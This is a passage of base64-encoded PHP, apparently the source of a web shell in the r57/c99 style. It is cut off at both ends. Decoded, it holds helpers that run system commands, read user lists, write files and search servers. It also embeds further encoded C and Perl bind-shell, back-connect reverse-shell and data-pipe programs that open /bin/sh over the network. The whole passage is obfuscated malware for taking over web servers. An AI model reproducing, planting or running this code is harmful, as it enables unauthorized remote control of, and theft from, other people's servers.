VhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpICYmIEBpc19yZXNvdXJjZSgkZiA9IEBwcm9jX29wZW4oJGNmZSxhcnJheSgxID0+IGFycmF5KCJwaXBlIiwgInciKSksJHBpcGVzKSkpDQogICAgew0KICAgICAkcmVzID0gIiI7DQogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdoaWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTt9DQogICAgIH1lbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdoaWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZmdldHMoJHBpcGVzWzFdLCAxMDI0KTt9DQogICAgIH0NCiAgICAgQHByb2NfY2xvc2UoJGYpOw0KICAgIH0NCiAgIH0NCiByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCn0NCmZ1bmN0aW9uIGdldF91c2VycygpDQp7DQogICR1c2VycyA9ICRyb3dzID0gYXJyYXkoKTsNCiAgICAkcm93cz1AZXhwbG9kZSgiXG4iLG1vcmVyZWFkKCRmaWxlbmFtZSkpOw0KICAgIGlmKCEkcm93c1swXSl7JHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTt9DQogICAgaWYoISRyb3dzWzBdKSByZXR1cm4gMDsNCiAgICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQ0KICAgICB7DQogICAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOw0KICAgICBpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCiAgICAgfQ0KICByZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgY29sb3I9UmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0NCmVjaG8gJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJldHVybiBudWxsOw0KfQ0KZnVuY3Rpb24gcGVybXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOw0KaWYoICRtb2RlICYgMHgxMDAwICkgeyAkdHlwZT0ncCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHgyMDAwICkgeyAkdHlwZT0nYyc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg2MDAwICkgeyAkdHlwZT0nYic7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg4MDAwICkgeyAkdHlwZT0nLSc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhDMDAwICkgeyAkdHlwZT0ncyc7IH0NCmVsc2UgJHR5cGU9J3UnOw0KJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQokb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQokb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQokd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCiR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsNCmlmKCAkbW9kZSAmIDB4NDAwICkgJGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDIwMCApICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnOw0KJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICRvd25lclsncmVhZCddLCAkb3duZXJbJ3dyaXRlJ10sICRvd25lclsnZXhlY3V0ZSddKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkZ3JvdXBbJ3JlYWQnXSwgJGdyb3VwWyd3cml0ZSddLCAkZ3JvdXBbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOw0KcmV0dXJuIHRyaW0oJHMpOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSAnJzsNCiRwYXRoID0gZXgoIndoaWNoICRwciIpOw0KaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfQ0KfQ0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApDQp7DQogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsNCiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7DQogaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsNCiByZXR1cm4gJHJldC4iPiI7DQp9DQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpDQp7DQogJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgZXJyKDApOw0KIGlmKCR3X2ZpbGUpDQogew0KIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogQGZjbG9zZSgkd19maWxlKTsNCiB9DQp9DQpmdW5jdGlvbiBwcygkcHIpDQp7Z2xvYmFsICR1bml4Ow0KJHBhdGggPSAnJzsNCmlmKCR1bml4KXskcGF0aCA9IGV4KCJwcyAtYXV4IHwgZ3JlcCAkcHIgfCBncmVwIC12ICdncmVwJyIpO30NCmVsc2V7JHBhdGggPSBleCgidGFza2xpc3QgfCBmaW5kc3RyIFwiJHByXCIiKTt9DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9DQp9DQpmdW5jdGlvbiBsb2NhdGUoJHByKQ0Kew0KJHBhdGggPSAnJzsNCiRwYXRoID0gZXgoImxvY2F0ZSAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCn0NCmZ1bmN0aW9uIHNyKCRsLCR0MSwkdDIpDQogew0KIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsNCiB9DQppZiAoIUBmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIiO30NCiBlbHNlaWYoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAiIEtCIjt9DQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KIHJldHVybiAkc2l6ZTsNCn0NCn0NCiAgZnVuY3Rpb24gRGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKQ0KICB7DQogICAgJGZpbGVzID0gQXJyYXkoKTsNCiAgICBpZigoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSkNCiAgICB7DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgIHsNCiAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKQ0KICAgICAgICB7DQogICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpDQogICAgICAgICAgICAkZmlsZXMgPSBAYXJyYXlfbWVyZ2UoJGZpbGVzLERpckZpbGVzUigkZGlyLiIvIi4kZmlsZSwkdHlwZXMpKTsNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgew0KICAgICAgICAgICAgJHBvcyA9IEBzdHJycG9zKCRmaWxlLCIuIik7DQogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOw0KICAgICAgICAgICAgaWYoJHR5cGVzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkNCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVzOw0KICB9DQogIGNsYXNzIFNlYXJjaFJlc3VsdA0KICB7DQogICAgdmFyICR0ZXh0Ow0KICAgIHZhciAkRmlsZXNUb1NlYXJjaDsNCiAgICB2YXIgJFJlc3VsdEZpbGVzOw0KICAgIHZhciAkRmlsZXNUb3RhbDsNCiAgICB2YXIgJE1hdGNoZXNDb3VudDsNCiAgICB2YXIgJEZpbGVNYXRzY2hlc0NvdW50Ow0KICAgIHZhciAkVGltZVN0YXJ0Ow0KICAgIHZhciAkVGltZVRvdGFsOw0KICAgIHZhciAkdGl0bGVzOw0KICAgIGZ1bmN0aW9uIFNlYXJjaFJlc3VsdCgkZGlyLCR0ZXh0LCRmaWx0ZXI9JycpDQogICAgew0KICAgICAgJGRpcnMgPSBAZXhwbG9kZSgiOyIsJGRpcik7DQogICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEFycmF5KCk7DQogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykNCiAgICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBAYXJyYXlfbWVyZ2UoJHRoaXMtPkZpbGVzVG9TZWFyY2gsRGlyRmlsZXNSKCRkaXJzWyRhXSwkZmlsdGVyKSk7DQogICAgICAkdGhpcy0+dGV4dCA9ICR0ZXh0Ow0KICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOw0KICAgICAgJHRoaXMtPlRpbWVTdGFydCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCA9IDA7DQogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPnRpdGxlcyA9IEFycmF5KCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVzVG90YWwoKSB7IHJldHVybiAkdGhpcy0+RmlsZXNUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldFRpdGxlcygpIHsgcmV0dXJuICR0aGlzLT50aXRsZXM7IH0NCiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0TWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPk1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9DQogICAgZnVuY3Rpb24gU2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCkgew0KICAgICRxcSA9IEBleHBsb2RlKCcgJywkdGhpcy0+dGV4dCk7DQogICAgJGRlbGltID0gJ3wnOw0KICAgICAgaWYoJHBocmFzZSkNCiAgICAgICAgZm9yZWFjaCgkcXEgYXMgJGs9PiR2KQ0KICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7DQogICAgICAkd29yZHMgPSAnKCcuQGltcGxvZGUoJGRlbGltLCRxcSkuJyknOw0KICAgICAgJHBhdHRlcm4gPSAiLyIuJHdvcmRzLiIvIjsNCiAgICAgIGlmKCEkY2FzZSkNCiAgICAgICAgJHBhdHRlcm4gLj0gJ2knOw0KICAgICAgZm9yZWFjaCgkdGhpcy0+RmlsZXNUb1NlYXJjaCBhcyAkaz0+JGZpbGVuYW1lKQ0KICAgICAgew0KICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdID0gMDsNCiAgICAgICAgJEZpbGVTdHJpbmdzID0gQGZpbGUoJGZpbGVuYW1lKSBvciBAbmV4dDsNCiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykNCiAgICAgICAgew0KICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07DQogICAgICAgICAgJEN1clN0cmluZyA9IEBUcmltKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAc3RyaXBfdGFncygkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkYWEgPSAnJzsNCiAgICAgICAgICBpZigoJGNvdW50ID0gQHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCRDdXJTdHJpbmcsJGFhKSkpDQogICAgICAgICAgew0KICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAgICR0aGlzLT5SZXN1bHRGaWxlc1skZmlsZW5hbWVdWyRhKzFdID0gJEN1clN0cmluZzsNCiAgICAgICAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgKz0gJGNvdW50Ow0KICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICAkdGhpcy0+VGltZVRvdGFsID0gQHJvdW5kKGdldG1pY3JvdGltZSgpIC0gJHRoaXMtPlRpbWVTdGFydCw0KTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkNCiAgew0KICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsNCiAgICByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTsNCiAgfQ0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUw0KQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4bGNuSnVieTVvUGcwS2FXNTBJRzFoYVc0b1lYSm5ZeXhoY21kMktRMEthVzUwSQ0KR0Z5WjJNN0RRcGphR0Z5SUNvcVlYSm5kanNOQ25zZ0lBMEtJR2x1ZENCemIyTnJabVFzSUc1bGQyWmtPdzBLSUdOb1lYSWdZblZtV3pNd1hUc05DaUJ6ZEhKMVkzUWdjMjlqYTJGa1pISmZhVzRnY21WdA0KYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQ0KcEtHRnlaM1piTVYwcEtUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMRg0KTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2ljMjlqYTJWMElHVnljbTl5SWlrN0RRb2dZbWx1WkNoemIyTnJabVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnSw0KaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZw0KSUNCa2RYQXlLRzVsZDJaa0xEQXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3hLVHNOQ2lBZ0lHUjFjRElvYm1WM1ptUXNNaWs3RFFvZ0lDQjNjbWwwWlNodVpYZG1aQ3dpVUdGemMzZHZjbVE2SWl3eE1Daw0KN0RRb2dJQ0J5WldGa0tHNWxkMlprTEdKMVppeHphWHBsYjJZb1luVm1LU2s3RFFvZ0lDQnBaaUFvSVdOb2NHRnpjeWhoY21kMld6SmRMR0oxWmlrcERRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMg0KOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZA0KMlprS1RzTkNpQWdmUTBLSUgwTkNuME5DbWx1ZENCamFIQmhjM01vWTJoaGNpQXFZbUZ6WlN3Z1kyaGhjaUFxWlc1MFpYSmxaQ2tnZXcwS2FXNTBJR2s3RFFwbWIzSW9hVDB3TzJrOGMzUnliR1Z1S0dWdQ0KZEdWeVpXUXBPMmtyS3lrZ0RRcDdEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcERRcGxiblJsY21Wa1cybGRJRDBnSjF3d0p6c2dEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjY2ljcERRcA0KbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7DQokcG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1GemFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVSVTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05DblZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJUbGtwS1NCOGZDQmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlrZ2ZId2daR2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21GalkyVndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRWRVJGVWxJc0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdEUXBsZUdsMElEQTdEUXA5RFFwOSI7DQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqDQphRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSDQpoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUDQpzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQprVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQpLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQpPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMNCkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWINClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQNCktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoNCnNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMNCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QNClFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXANCk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTINCngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcwS0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9qYVc1amINCkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4c2FXNTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0ZEdWeWJpQmoNCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNuSnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEwS2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNuSXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFI